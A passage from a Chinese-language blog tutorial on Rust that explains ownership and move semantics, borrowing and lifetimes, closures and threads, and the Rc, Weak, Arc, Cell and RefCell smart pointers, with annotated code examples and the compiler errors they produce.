Pointer</a>）又叫野指针的问题，也就是一个指针或引用指向一块废弃的内存。为了解决这个问题，C++的解决方案是使用 <code>share_ptr</code> 这样的托管类来管理共享时的引用计数。</li>\n<li><strong>传递复本</strong>，传递一个拷贝，需要重载对象的“拷贝构造函数”和“赋值构造函数”。</li>\n<li><strong>移动Move</strong>。C++中，为了解决一些临时对象的构造的开销，可以使用Move操作，把一个对象的所有权移动到给另外一个对象，这个解决了C++中在传递对象时的会产生很多临时对象来影响性能的情况。</li>\n</ul>\n<p>C++的这些个“神操作”，可以让你非常灵活地在各种情况下传递对象，但是也提升整体语言的复杂度。而Java直接把C/C++的指针给废了，用了更为安全的引用 ，然后为了解决多个引用共享同一个内存，内置了引用计数和垃圾回收，于是整个复杂度大大降低。对于Java要传对象的复本的话，需要定义一个通过自己构造自己的构造函数，或是通过prototype设计模式的 <code>clone()</code> 方法来进行，如果你要让Java解除引用，需要明显的把引用变量赋成 <code>null</code> 。总之，无论什么语言都需要这对象的传递这个事做好，不然，无法提供相对比较灵活编程方法。</p>\n<p>在Rust中，Rust强化了“所有权”的概念，下面是Rust的所有者的三大铁律：</p>\n<ol>\n<li>Rust 中的每一个值都有一个被称为其 <strong>所有者</strong>（owner）的变量。</li>\n<li>值有且只有一个所有者。</li>\n<li>当所有者（变量）离开作用域，这个值将被丢弃。</li>\n</ol>\n<p>这意味着什么？</p>\n<p>如果你需要传递一个对象的复本，你需要给这个对象实现 <code>Copy</code> trait ，<strong>trait </strong>怎么翻译我也不知道，你可以认为是一个对象的一些特别的接口（可以用于一些对像操作上的约定，比如：<code>Copy</code> 用于复制（类型于C++的拷贝构造和赋值操作符重载），<code>Display</code> 用于输出（类似于Java的 <code>toString()</code>），还有 <code>Drop</code> 和操作符重载等等，当然，也可以是对象的方法，或是用于多态的接口定义，后面会讲）。</p>\n<p>对于内建的整型、布尔型、浮点型、字符型、多元组都被实现了 <code>Copy</code> 所以，在进行传递的时候，会进行<code>memcpy</code> 这样的复制（bit-wise式的浅拷贝）。而对于对象来说，则不行，在Rust的编程范式中，需要使用的是 <code>Clone</code> trait。</p>\n<p>于是，<code>Copy</code> 和 <code>Clone</code> 这两个相似而又不一样的概念就出来了，<code>Copy</code> 主要是给内建类型，或是由内建类型全是支持 <code>Copy</code> 的对象，而 <code>Clone</code> 则是给程序员自己复制对象的。嗯，这就是浅拷贝和深拷贝的差别，<code>Copy</code> 告诉编译器，我这个对象可以进行 bit-wise的复制，而 <code>Clone</code> 则是指深度拷贝。</p>\n<p>像 <code>String</code> 这样的内部需要在堆上分布内存的数据结构，是没有实现<code>Copy</code> 的（因为内部是一个指针，所以，语义上是深拷贝，浅拷贝会招至各种bug和crash），需要复制的话，必需手动的调用其 <code>clone()</code> 方法，如果不这样的的话，当在进行函数参数传递，或是变量传递的时候，所有权一下就转移了，而之前的变量什么也不是了（这里编译器会帮你做检查有没有使用到所有权被转走的变量）。这个相当于C++的Move语义。</p>\n<p>参看下面的示例，你可能对Rust自动转移所有权会有更好的了解（代码中有注释了，我就不多说了）。</p>\n<pre class=\"EnlighterJSRAW\">// takes_ownership 取得调用函数传入参数的所有权，因为不返回，所以变量进来了就出不去了\nfn takes_ownership(some_string: String) {\n    println!(\"{}\", some_string);\n} // 这里，some_string 移出作用域并调用 <code class=\"EnlighterJSRAW\">drop</code> 方法。占用的内存被释放\n\n// gives_ownership 将返回值移动给调用它的函数\nfn gives_ownership() -&gt; String {\n    let some_string = String::from(\"hello\"); // some_string 进入作用域.\n    some_string // 返回 some_string 并移出给调用的函数\n}\n\n// takes_and_gives_back 将传入字符串并返回该值\nfn takes_and_gives_back(mut a_string: String) -&gt; String {\n    a_string.push_str(\", world\");\n    a_string  // 返回 a_string 将所有权移出给调用的函数\n}\n\nfn main()\n{\n    // gives_ownership 将返回值移给 s1\n    let s1 = gives_ownership();\n    // 所有权转给了 takes_ownership 函数, s1 不可用了\n    takes_ownership(s1);\n    // 如果编译下面的代码，会出现s1不可用的错误\n    // println!(\"s1= {}\", s1);\n    //                    ^^ value borrowed here after move\n    let s2 = String::from(\"hello\");// 声明s2\n    // s2 被移动到 takes_and_gives_back 中, 它也将返回值移给 s3。\n    // 而 s2 则不可用了。\n    let s3 = takes_and_gives_back(s2);\n    //如果编译下面的代码，会出现可不可用的错误\n    //println!(\"s2={}, s3={}\", s2, s3);\n    //                         ^^ value borrowed here after move\n    println!(\"s3={}\", s3);\n}\n</pre>\n<p>这样的 Move 的方式，在性能上和安全性上都是非常有效的，而Rust的编译器会帮你检查出使用了所有权被move走的变量的错误。而且，我们还可以从函数栈上返回对象了，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">fn new_person() -&gt; Person {\n    let person = Person {\n        name : String::from(\"Hao Chen\"),\n        age : 44,\n        sex : Sex::Male,\n        email: String::from(\"haoel@hotmail.com\"),\n    };\n    return person;\n}\n\nfn main() {\n   let p  = new_person();\n}\n</pre>\n<p>因为对象是Move走的，所以，在函数上 <code>new_person()</code> 上返回的 <code>Person</code> 对象是Move 语言，被Move到了 <code>main()</code> 函数中来，这样就没有性能上的问题了。而在C++中，我们需要把对象的Move函数给写出来才能做到。因为，C++默认是调用拷贝构造函数的，而不是Move的。</p>\n<h4>Owner语义带来的复杂度</h4>\n<p>Owner + Move 的语义也会带来一些复杂度。首先，如果有一个结构体，我们把其中的成员 Move 掉了，会怎么样。参看如下的代码：</p>\n<pre class=\"EnlighterJSRAW\">#[derive(Debug)] // 让结构体可以使用 <code class=\"EnlighterJSRAW\">{:?}</code>的方式输出\nstruct Person {\n    name :String,\n    email:String,\n}\n\nlet _name = p.name; // 把结构体 Person::name Move掉\nprintln!(\"{} {}\", _name, p.email); //其它成员可以正常访问\nprintln!(\"{:?}\", p); //编译出错 \"value borrowed here after partial move\"\np.name = \"Hao Chen\".to_string(); // Person::name又有了。\nprintln!(\"{:?}\", p); //可以正常的编译了\n</pre>\n<p>上面这个示例，我们可以看到，结构体中的成员是可以被Move掉的，Move掉的结构实例会成为一个部分的未初始化的结构，如果需要访问整个结构体的成员，会出现编译问题。但是后面把 Person::name补上后，又可以愉快地工作了。</p>\n<p>下面我们再看一个更复杂的示例——这个示例模拟动画渲染的场景，我们需要有两个buffer，一个是正在显示的，另一个是下一帧要显示的。</p>\n<pre class=\"EnlighterJSRAW\">struct Buffer {\n    buffer : String,\n}\n\nstruct Render {\n    current_buffer : Buffer,\n    next_buffer : Buffer,\n}\n//实现结构体 <code class=\"EnlighterJSRAW\">Render</code> 的方法\nimpl Render { \n    //实现 update_buffer() 方法，\n    //更新buffer，把 next 更新到 current 中，再更新 next\n    fn update_buffer(&amp; mut self, buf : String) {\n        self.current_buffer = self.next_buffer;\n        self.next_buffer = Buffer{ buffer: buf};\n    }\n}\n</pre>\n<p>上面这段代码，我们写下来没什么问题，但是 Rust 编译不会让我们编译通过。它会告诉我们如下的错误：</p>\n<pre class=\"EnlighterJSRAW\">error[E0507]: cannot move out of <code class=\"EnlighterJSRAW\">self.next_buffer</code> which is behind a mutable reference\n--&gt; /.........../xxx.rs:18:31\n|\n14 | self.current_buffer = self.next_buffer;\n|                          ^^^^^^^^^^^^^^^^ move occurs because <code class=\"EnlighterJSRAW\">self.next_buffer</code> has type <code class=\"EnlighterJSRAW\">Buffer</code>,\n                                            which does not implement the <code class=\"EnlighterJSRAW\">Copy</code> trait</pre>\n<p>编译器会提示你，<code>Buffer</code> 没有 Copy trait 方法。<strong>但是，如果你实现了 Copy 方法后，你又不能享受 Move 带来的性能上快乐了。于是，到这里，你开始进退两难了，完全不知道取舍了</strong>。</p>\n<ul>\n<li>Rust编译器不让我们在成员方法中把成员Move走，因为 <code>self</code> 引用就不完整了。</li>\n<li>Rust要我们实现 <code>Copy</code> Trait，但是我们不想要拷贝，因为我们就是想把 <code>next_buffer</code> move 到 <code>current_buffer</code> 中</li>\n</ul>\n<p>我们想要同时 Move 两个变量，参数 <code>buf</code> move 到 <code>next_buffer</code> 的同时，还要把 <code>next_buffer</code> 里的东西 move 到 <code>current_buffer</code> 中。 我们需要一个“杂耍”的技能。<br/>\n<img alt=\"\" class=\"aligncenter size-full wp-image-20872\" height=\"264\" src=\"../wp-content/uploads/2020/03/indy.gif\" width=\"500\"/></p>\n<p>这个需要动用 <code>std::mem::replace(&amp;dest, src)</code> 函数了， 这个函数技把 <code>src</code> 的值 move 到 <code>dest</code> 中，然后把 <code>dest</code> 再返回出来（这其中使用了 unsafe 的一些底层骚操作才能完成）。Anyway，最终是这样实现的：</p>\n<pre class=\"EnlighterJSRAW\">use std::mem::replace\nfn update_buffer(&amp; mut self, buf : String) { \n  self.current_buffer = replace(&amp;mut self.next_buffer, Buffer{buffer : buf}); \n}</pre>\n<p>不知道你觉得这样“杂耍”的代码看上去怎么以样？我觉得可读性下降一个数量级。</p>\n<h4>引用（借用）和生命周期</h4>\n<p>下面，我们来讲讲引用，因为把对象的所有权 Move 走了的情况，在一些时候肯定不合适，比如，我有一个 <code>compare(s1: Student, s2: Student) -&gt; bool</code> 我想比较两个学生的平均份成绩， 我不想传复本，因为太慢，我也不想把所有权交进去，因为只是想计算其中的数据。这个时候，传引用就是一个比较好的选择，Rust同样支持传引用。只需要把上面的函数声明改成：<code>compare(s1 :&amp;Student, s2 : &amp;Student) -&gt; bool</code> 就可以了，在调用的时候，<code>compare (&amp;s1, &amp;s2);</code>  与C++一致。在Rust中，这也叫“借用”（嗯，Rust发明出来的这些新术语，在语义上感觉让人更容易理解了，当然，也增加了学习的复杂度了）</p>\n<h5>引用（借用）</h5>\n<p>另外，如果你要修改这个引用对象，就需要使用“可变引用”，如：<code>foo( s : &amp;mut Student)</code> 以及 <code>foo( &amp;mut s);</code>另外，为了避免一些数据竞争需要进行数据同步的事，Rust严格规定了——<strong>在任意时刻，要么只能有一个可变引用，要么只能有多个不可变引用</strong>。</p>\n<p>这些严格的规定会导致程序员失去编程的灵活性，不熟悉Rust的程序员可能会在一些编译错误下会很崩溃，但是你的代码的稳定性也会提高，bug率也会降低。</p>\n<p>另外，Rust为了解决“野引用”的问题，也就是说，有多个变量引用到一个对象上，还不能使用额外的引用计数来增加程序运行的复杂度。那么，Rust就要管理程序中引用的生命周期了，而且还是要在编译期管理，如果发现有引用的生命周期有问题的，就要报错。比如：</p>\n<pre class=\"EnlighterJSRAW\">let r;\n{\n    let x = 10;\n    r = &amp;x;\n}\nprintln!(\"r = {}\",r );\n</pre>\n<p>上面的这段代码，程序员肉眼就能看到 <code>x</code> 的作用域比 <code>r</code>  小，所以导致 <code>r</code> 在 <code>println()</code> 的时候 <code>r</code> 引用的 <code>x</code> 已经没有了。这个代码在C++中可以正常编译而且可以执行，虽然最后可以打出“内嵌作用域”的 <code>x</code> 的值，但其实这个值已经是有问题的了。而在 Rust 语言中，编译器会给出一个编译错误，告诉你，“<code>x</code> dropped here while still borrowed”，这个真是太棒了。</p>\n<p>但是这中编译时检查的技术对于目前的编译器来说，只在程序变得稍微复杂一点，编译器的“失效引用”检查就不那么容易了。比如下面这个代码：</p>\n<pre class=\"EnlighterJSRAW\">fn order_string(s1 : &amp;str, s2 : &amp;str) -&gt; (&amp;str, &amp;str) {\n    if s1.len() &lt; s2.len() {\n        return (s1, s2);\n    }\n    return (s2, s1);\n}\n\nlet str1 = String::from(\"long long long long string\");\nlet str2 = \"short string\";\n\nlet (long_str, short_str) = order_string(str1.as_str(), str2);\n\nprintln!(\" long={} nshort={} \", long_str, short_str);\n</pre>\n<p>我们有两个字符串，<code>str1</code> 和 <code>str2</code> 我们想通过函数 <code>order_string()</code> 把这两个字串符返回成 <code>long_str</code> 和 <code>short_str</code>  这样方便后面的代码进行处理。这是一段很常见的处理代码的示例。然而，你会发现，这段代码编译不过。编译器会告诉你，<code>order_string()</code> 返回的 引用类型 <code>&amp;str</code> 需要一个 lifetime的参数 – “ expected lifetime parameter”。这是因为Rust编译无法通过观察静态代码分析返回的两个引用返回值，到底是<code>(s1, s2)</code> 还是 <code>(s2, s1)</code> ，因为这是运行时决定的。所以，返回值的两个参数的引用没法确定其生命周期到底是跟 <code>s1</code> 还是跟 <code>s2</code>，这个时候，编译器就不知道了。</p>\n<h5>生命周期</h5>\n<p>如果你的代码是下面这个样子，编程器可以自己推导出来，函数 <code>foo()</code> 的参数和返回值都是一个引用，他们的生命周期是一样的，所以，也就可以编译通过。</p>\n<pre class=\"EnlighterJSRAW\">fn foo (s: &amp;mut String) -&gt; &amp;String {\n    s.push_str(\"coolshell\");\n    s\n}\n\nlet mut s = \"hello, \".to_string();\nprintln!(\"{}\", foo(&amp;mut s))\n</pre>\n<p>而对于传入多个引用，返回值可能是任一引用，这个时候编译器就犯糊涂了，因为不知道运行时的事，所以，就需要程序员来标注了。</p>\n<pre class=\"EnlighterJSRAW\">fn long_string&lt;'c&gt;(s1 : &amp;'c str, s2 : &amp;'c str) -&gt; (&amp;'c str, &amp;'c str) {\n    if s1.len() &gt; s2.len() {\n        return (s1, s2);\n    }\n    return (s2, s1);\n}\n</pre>\n<p>上述的Rust的标注语法，用个单引号加一个任意字符串来标注（<code>'static</code>除外，这是一个关键词，表示生命周期跟整个程序一样长），然后，说明返回的那两个引用的生命周期跟 <code>s1</code> 和 <code>s2</code> 的生命周期相同，这个标注的目的就是把运行时的事变成了编译时的事。于是程序就可以编译通过了。（注：你也不要以为你可以用这个技术乱写生命周期，这只是一种“去语法糖操作”，是帮助编译器理解其中的生命周期，如果违反实际生命周期，编译器也是会拒绝编译的）</p>\n<p>这里有两个说明，</p>\n<ul>\n<li>只要你玩引用，生命周期标识就会来了。</li>\n<li>Rust编译器不知道运行时会发生什么事，所以，需要你来标注声明</li>\n</ul>\n<p>我感觉，你现在开始有点头晕了吧？接下来，我们让你再晕一下。比如：如果你要在结构体中玩引用，那必需要为引用声明生命周期，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">// 引用 ref1 和 ref2 的生命周期与结构体一致\nstruct Test &lt;'life&gt; {\n    ref_int : &amp;'life i32,\n    ref_str : &amp;'life str,\n}\n</pre>\n<p>其中，生命周期标识 <code>'life</code> 定义在结构体上，被使用于其成员引用上。意思是声明规则——“<strong>结构体的生命周期 &lt;= 成员引用的生命周期</strong>”</p>\n<p>然后，如果你要给这个结构实现两个 <code>set</code> 方法，你也得带上 lifetime 标识。</p>\n<pre class=\"EnlighterJSRAW\">imp&lt;'life&gt; Test&lt;'life&gt; {\n    fn set_string(&amp;mut self, s : &amp;'life str) {\n        self.ref_str = s;\n    }\n    fn set_int(&amp;mut self,  i : &amp;'life i32) {\n        self.ref_int = i;\n    }\n}\n</pre>\n<p>在上面的这个示例中，生命周期变量 <code>'life</code> 声明在 <code>impl</code> 上，用于结构体和其方法的入参上。 意思是声明规则——“<strong>结构体方法的“引用参数”的生命周期 &gt;= 结构体的生命周期</strong>”</p>\n<p>有了这些个生命周期的标识规则后，Rust就可以愉快地检查这些规则说明，并编译代码了。</p>\n<h4>闭包与所有权</h4>\n<p>这种所有权和引用的严格区分和管理，会影响到很多地方，下面我们来看一下函数闭包中的这些东西的传递。函数闭包又叫Closure，是函数式编程中一个不可或缺的东西，又被称为lambda表达式，基本上所有的高级语言都会支持。在 Rust 语言中，其闭包函数的表示是用两根竖线（| |）中间加传如参数进行定义。如下所示：</p>\n<pre class=\"EnlighterJSRAW\">// 定义了一个 x + y 操作的 lambda f(x, y) = x + y;\nlet plus = |x: i32, y:i32| x + y; \n// 定义另一个lambda g(x) = f(x, 5)\nlet plus_five = |x| plus(x, 5); \n//输出\nprintln!(\"plus_five(10)={}\", plus_five(10) );</pre>\n<h5>函数闭包</h5>\n<p>但是一旦加上了上述的所有权这些东西后，问题就会变得复杂开来。参看下面的代码。</p>\n<pre class=\"EnlighterJSRAW\">struct Person {\n    name : String,\n    age : u8,\n}\n\nfn main() {\n    let p = Person{ name: \"Hao Chen\".to_string(), age : 44};\n    //可以运行，因为 <code class=\"EnlighterJSRAW\">u8</code> 有 Copy Trait\n    let age = |p : Person| p.age; \n    // String 没有Copy Trait，所以，这里所有权就 Move 走了\n    let name = |p : Person | p.name; \n    println! (\"name={}, age={}\" , name(p), age(p));\n}</pre>\n<p>上面的代码无法编译通过，因为Rust编译器发现在调用 <code>name(p)</code> 的时候，<code>p</code> 的所有权被移走了。然后，我们想想，改成引用的版本，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">let age = |p : &amp;Person| p.age;\nlet name = |p : &amp;Person | &amp;p.name;\n\nprintln! (\"name={}, age={}\" , name(&amp;p), age(&amp;p));</pre>\n<p>你会现在还是无法编译，报错中说：<strong>cannot infer an appropriate lifetime for borrow expression due to conflicting requirements</strong></p>\n<pre class=\"EnlighterJSRAW\">error[E0495]: cannot infer an appropriate lifetime for borrow expression due to conflicting requirements\n  --&gt; src/main.rs:11:31\n   |\n11 |     let name = |p : &amp;Person | &amp;p.name;\n   |                               ^^^^^^^</pre>\n<p>然后你开始尝试加 lifetime，用尽各种Rust的骚操作（官方Github上的<a href=\"https://github.com/rust-lang/rust/issues/58052\" rel=\"noopener noreferrer\" target=\"_blank\"> #issue 58052</a>），然后，还是无法让你的程序可以编译通过。最后，上StackOverflow 里寻找帮助，得到下面的正确写法（这个可能跟这个bug有关系：<a href=\"https://github.com/rust-lang/rust/issues/41078\" rel=\"noopener noreferrer\" target=\"_blank\">#issue 41078</a> ）。但是这样的写法，已经让简洁的代码变得面目全非。</p>\n<pre class=\"EnlighterJSRAW\">//下面的声明可以正确译\nlet name: for&lt;'a&gt; fn(&amp;'a Person) -&gt; &amp;'a String = |p: &amp;Person| &amp;p.name;</pre>\n<p>上面的这种lifetime的标识也是很奇葩，通过定义一个函数类型来做相关的标注，但是这个函数类型，需要用到 <code>for&lt;'a&gt;</code> 关键字。你可能会很confuse这个关键字不是用来做循环的吗？嗯，Rust这种重用关键字的作法，我个人觉得带来了很多不必要的复杂度。总之，这样的声明代码，我觉得基本不会有人能想得到的——“去语法糖操作太严重了，绝大多数人绝对hold不住”！</p>\n<p>最后，我们再来看另一个问题，下面的代码无法编译通过：</p>\n<pre class=\"EnlighterJSRAW\">let s = String::from(\"coolshell\");\nlet take_str = || s;\nprintln!(\"{}\", s); //ERROR\nprintln!(\"{}\",  take_str()); // OK</pre>\n<p>Rust的编译器会告诉你，<code>take_str</code>  把 <code>s</code> 的所有权给拿走了（因为需要作成返回值）。所以，后面的输出语句就用不到了。这里意味着：</p>\n<ul>\n<li>对于内建的类型，都实现了 <code>Copy</code> 的 trait，那么闭包执行的是 “借用”</li>\n<li>对于没有实现 <code>Copy</code> 的trait，在闭包中可以调用其方法，是“借用”，但是不能当成返回值，当成返回值了就是“移动”。</li>\n</ul>\n<p>虽然有了这些“通常情况下是借用的潜规则”，但是还是不能满足一些情况，所以，还要让程序员可以定义 <code>move</code> 的“明规则”。下面的代码，一个有 move 一个没有move，他们的差别也不一样。</p>\n<pre class=\"EnlighterJSRAW\">//-----------借用的情况-----------\nlet mut num = 5;\n{\n    let mut add_num = |x: i32| num += x;\n    add_num(5);\n}\nprintln!(\"num={}\", num); //输出 10\n\n//-----------Move的情况-----------\nlet mut num = 5;\n{\n    // 把 num（5）所有权给 move 到了 add_num 中，\n    // 使用其成为闭包中的局部变量。\n    let mut add_num = move |x: i32| num += x;\n    add_num(5);\n    println!(\"num(move)={}\", num); //输出10\n}\n//因为i32实现了 <code class=\"EnlighterJSRAW\">Copy</code>，所以，这里还可以访问\nprintln!(\"num(move)={}\", num); //输出5</pre>\n<p>真是有点头大了，int这样的类型，因为实现了Copy Trait，所以，所有权被移走后，意味着，在内嵌块中的<code>num</code> 和外层的 <code>num</code> 是两个完全不相干的变量。<strong>但是你在读代码的时候，你的大脑可能并不会让你这么想，因为里面的那个num又没有被声明过，应该是外层的</strong>。我个人觉得这是Rust 各种“按下葫芦起了瓢”的现象。</p>\n<h5>线程闭包</h5>\n<p>通过上面的示例，我们可以看到， <code>move</code> 关键词，可以把闭包外使用到的变量给移动到闭包内，成为闭包内的一个局部变量。这种方式，在多线程的方式下可以让线程运行地更为的安全。参看如下代码：</p>\n<pre class=\"EnlighterJSRAW\">let name = \"CoolShell\".to_string();\nlet t = thread::spawn(move || {\n    println!(\"Hello, {}\", name);\n});\nprintln!(\"wait {:?}\", t.join());</pre>\n<p>首先，线程 <code>thread::spawn()</code> 里的闭包函数是不能带参数的，因为是闭包，所以可以使用这个可见范围内的变量，但是，问题来了，因为是另一个线程，所以，这代表其和其它线程（如：主线程）开始共享数据了，所以，在Rust下，要求把使用到的变量给 Move 到线程内，这就保证了安全的问题—— <code>name</code> 在线程中永远不会失效，而且不会被别人改了。</p>\n<p>你可能会有一些疑问，你会质疑到</p>\n<ul>\n<li>一方面，这个 <code>name</code> 变量又没有声明成 <code>mut</code> 这意味着不变，没必要使用move语义也是安全的。</li>\n<li>另一方面，如果我想把这个 <code>name</code> 传递到多个线程里呢？</li>\n</ul>\n<p>嗯，是的，但是Rust的线程必需是 move的，不管是不是可变的，不然编译不过去。如果你想把一个变量传到多个线程中，你得创建变量的复本，也就是调用 <code>clone()</code> 方法。</p>\n<pre class=\"EnlighterJSRAW\">let name = \"CoolShell\".to_string();\nlet name1 = name.clone();\nlet t1 = thread::spawn(move || {\n    println!(\"Hello, {}\", name.clone());\n})\nlet t2 = thread::spawn(move || {\n    println!(\"Hello, {}\", name1.clone());\n});\nprintln!(\"wait t1={:?}, t2={:?}\", t1.join(), t2.join());</pre>\n<p>然后，你说，这种clone的方式成本不是很高？设想，如果我要用多线程对一个很大的数组做统计，这种clone的方式完全吃不消。嗯，是的。这个时候，需要使用另一个技术，智能指针了。</p>\n<h4>Rust的智能指针</h4>\n<p>如果你看到这里还不晕的话，那么，我的文章还算成功（如果晕的话，请告诉我，我会进行改善）。接下来我们来讲讲Rust的智能指针和多态。</p>\n<p>因为有些内存需要分配在Heap（堆）上，而不是Stack（堆）上，Stack上的内存一般是编译时决定的，所以，编译器需要知道你的数组、结构体、枚举等这些数据类型的长度，没有长度是无法编译的，而且长度也不能太大，Stack上的内存大小是有限，太大的内存会有StackOverflow的错误。所以，对于更大的内存或是动态的内存分配需要分配在Heap上。学过C/C++的同学对于这个概念不会陌生。</p>\n<p>Rust 作为一个内存安全的语言，这个堆上分配的内存也是需要管理的。在C中，需要程序员自己管理，而在C++中，一般使用 <a href=\"https://en.wikipedia.org/wiki/Resource_acquisition_is_initialization\" rel=\"noopener noreferrer\" target=\"_blank\">RAII 的机制</a>（面向对象的代理模式），一种通过分配在Stack上的对象来管理Heap上的内存的技术。在C++中，这种技术的实现叫“智能指针”（Smart Pointer）。</p>\n<p>在C++11中，会有三种智能指针（这三种指针是什么我就不多说了）：</p>\n<ul>\n<li><code>unique_ptr</code>。独占内存，不共享。在Rust中是：<code>std::boxed::Box</code></li>\n<li><code>shared_ptr</code>。以引用计数的方式共享内存。在Rust中是：<code>std::rc::Rc</code></li>\n<li><code>weak_ptr</code>。不以引用计数的方式共享内存。在Rust中是：<code>std::rc::Weak</code></li>\n</ul>\n<p>对于独占的 <code>Box</code> 不多说了，这里重点说一下共享的 <code>Rc</code> 和 <code>Weak</code> ：</p>\n<ul>\n<li>对于Rust的 Rc 来说，Rc指针内会有一个 <code>strong_count</code> 的引用持计数，一旦引用计数为0后，内存就自动释放了。</li>\n<li>需要共享内存的时候，需要调用实例的 <code>clone()</code> 方法。如： <code>let another = rc.clone()</code> 克隆的时候，只会增加引用计数，不会作深度复制（个人觉得Clone的语义在这里被践踏了）</li>\n<li>有这种共享的引用计数，就意味着有多线程的问题，所以，如果需要使用线程安全的智能指针，则需要使用<code>std::sync::Arc</code></li>\n<li>可以使用 <code>Rc::downgrade(&amp;rc)</code> 后，会变成 Weak 指针，Weak指针增加的是 <code>weak_count</code> 的引用计数，内存释放时不会检查它是否为 0。</li>\n</ul>\n<p>我们简单的来看个示例：</p>\n<pre class=\"EnlighterJSRAW\">use std::rc::Rc;\nuse std::rc::Weak\n\n//声明两个未初始化的指针变量\nlet weak : Weak; \nlet strong : Rc;\n{\n    let five = Rc::new(5); //局部变量\n    strong = five.clone(); //进行强引用\n    weak = Rc::downgrade(&amp;five); //对局部变量进行弱引用\n}\n//此时，five已析构，所以 Rc::strong_count(&amp;strong)=1， Rc::weak_count(&amp;strong)=1\n//如果调用 drop(strong)，那个整个内存就释放了\n//drop(strong);\n\n//如果要访问弱引用的值，需要把弱引用 upgrade 成强引用，才能安全的使用\nmatch  weak_five.upgrade() {\n    Some(r) =&gt; println!(\"{}\", r),\n    None =&gt; println!(\"None\"),\n} \n</pre>\n<p>上面这个示例比较简单，其中主要展示了，指针共享的东西。因为指针是共享的，所以，对于强引用来说，最后的那个人把引用给释放了，是安全的。但是对于弱引用来说，这就是一个坑了，你们强引用的人有Ownership，但是我们弱引用没有，你们把内存释放了，我怎么知道？</p>\n<p>于是，<strong>在弱引用需要使用内存的时候需要“升级”成强引用 ，但是这个升级可能会不成功，因为内存可能已经被别人清空了</strong>。所以，这个操作会返回一个 <code>Option</code> 的枚举值，<code>Option::Some(T)</code> 表示成功了，而 <code>Option::None</code> 则表示失改了。你会说，这么麻烦，我们为什么还要 <code>Weak</code> ? 这是因为强引用的 <code>Rc</code> 会有循环引用的问题……（学过C++的都应该知道）</p>\n<p>另外，如果你要修改 <code>Rc</code> 里的值，Rust 会给你两个方法，一个是 <code>get_mut()</code>，一个是 <code>make_mut()</code> ，这两个方法都有副作用或是限制。</p>\n<p><code>get_mut()</code> 需要做一个“唯一引用”的检查，也就是没有任何的共享才能修改</p>\n<pre class=\"EnlighterJSRAW\">//修改引用的变量 - get_mut 会返回一个Option对象\n//但是需要注意，仅当（只有一个强引用 &amp;&amp; 没有弱引用）为真才能修改\nif let Some(val) = Rc::get_mut(&amp;mut strong) {\n    *val = 555;\n}</pre>\n<p><code>make_mut()</code> 则是会把当前的引用给clone出来，再也不共享了， 是一份全新的。</p>\n<pre class=\"EnlighterJSRAW\">//此处可以修改，但是是以 clone 的方式，也就是让strong这个指针独立出来了。\n*Rc::make_mut(&amp;mut strong) = 555;\n</pre>\n<p>如果不这样做，就会出现很多内存不安全的情况。<strong>这些小细节一定要注意，不然你的代码怎么运作的你会一脸蒙逼的</strong>。</p>\n<p>嗯，如果你想更快乐地使用智能指针，这里还有个选择 – <code>Cell</code> 和 <code>RefCell</code>，它们弥补了 Rust 所有权机制在灵活性上和某些场景下的不足。他们提供了 <code>set()</code>/<code>get()</code> 以及 <code>borrow()</code>/<code>borrow_mut()</code> 的方法，让你的程序更灵活，而不会被限制得死死的。参看下面的示例。</p>\n<pre class=\"EnlighterJSRAW\">use std::cell::Cell;\nuse std::cell::RefCell\n\nlet x = Cell::new(1);\nlet y = &amp;x; //引用（借用）\nlet z = &amp;x; //引用（借用）\nx.set(2); // 可以进行修改，x，y，z全都改了\ny.set(3);\nz.set(4);\nprintln!(\"x={} y={} z={}\", x.get(), y.get(), z.get());\n\nlet x = RefCell::new(vec![1,2,3,4]);\n{\n    println!(\"{:?}\", *x.borrow())\n}\n\n{\n    let mut my_ref = x.borrow_mut();\n    my_ref.push(1);\n}\nprintln!(\"{:?}\", *x.borrow());</pre>\n<p>通过上面的示例你可以看到你可以比较方便地更为正常的使用智能指针了。然而，需要注意的是 <code>Cell</code> 和 <code>RefCell</code> 不是线程安全的。在多线程下，需要使用Mutex进行互斥。</p>\n<h4>线程与智能指针</h4>\n<p>现在，我们回来来解决前面那还没有解决的问题，就是——我想在多个线程中共享一个只读的数据，比如：一个很大的数组，我开多个线程进行并行统计。我们肯定不能对这个大数组进行clone，但也不能把这个大数组move到一个线程中。根据上述的智能指针的逻辑，我们可以通过智指指针来完成这个事，下面是一个例程：</p>\n<pre class=\"EnlighterJSRAW\">const TOTAL_SIZE:usize = 100 * 1000; //数组长度\nconst NTHREAD:usize = 6; //线程数\n\nlet data : Vec&lt;i32&gt; = (1..(TOTAL_SIZE+1) as i32).collect(); //初始化一个数据从1到n数组\nlet arc_data = Arc::new(data); //data 的所有权转给了 ar_data\nlet result  = Arc::new(AtomicU64::new(0)); //收集结果的数组(原子操作)\n\nlet mut thread_handlers = vec![]; // 用于收集线程句柄\n\nfor i in 0..NTHREAD {\n    // clone Arc 准备move到线程中，只增加引用计数，不会深拷贝内部数据\n    let test_data = arc_data.clone(); \n    let res = result.clone(); \n    thread_handlers.push( \n        thread::spawn(move || {\n            let id = i;\n            //找到自己的分区\n            let chunk_size = TOTAL_SIZE / NTHREAD + 1;\n            let start = id * chunk_size;\n            let end = std::cmp::min(start + chunk_size, TOTAL_SIZE);\n            //进行求和运算\n            let mut sum = 0;\n            for  i in start..end  {\n                sum += test_data[i];\n            }\n            //原子操作\n            res.fetch_add(sum as u64, Ordering::SeqCst);\n            println!(\"id={}, sum={}\", id, sum );\n        }\n    ));\n}\n//等所有的线程执行完\nfor th in thread_handlers {\n    th.join().expect(\"The sender thread panic!!!\");\n}\n//输出结果\nprintln!(\"result = {}\",result.load(Ordering::SeqCst));</pre>\n<p>上面的这个例程，是用多线程的方式来并行计算一个大的数组的和，每个线程都会计算自己的那一部分。上面的代码中，</p>\n<ul>\n<li>需要向每个线程传入一个只读的数组，我们用<code>Arc</code> 智能指针把这个数组包了一层。</li>\n<li>需要向每个线程传入一个变量用于数据数据，我们用 <code>Arc&lt;AtomicU64&gt;</code> 包了一层。</li>\n<li>注意：<code>Arc</code> 所包的对象是不可变的，所以，如果要可变的，那要么用原子对象，或是用Mutex/Cell对象再包一层。</li>\n</ul>\n<p>这一些都是为了要解决“线程的Move语义后还要共享问题”。</p>\n<h4>多态和运行时识别</h4>\n<h5>通过Trait多态</h5>\n<p>多态是抽象和解耦的关键，所以，一个高级的语言是必需实现多态的。在C++中，多态是通过虚函数表来实现的（参看《<a 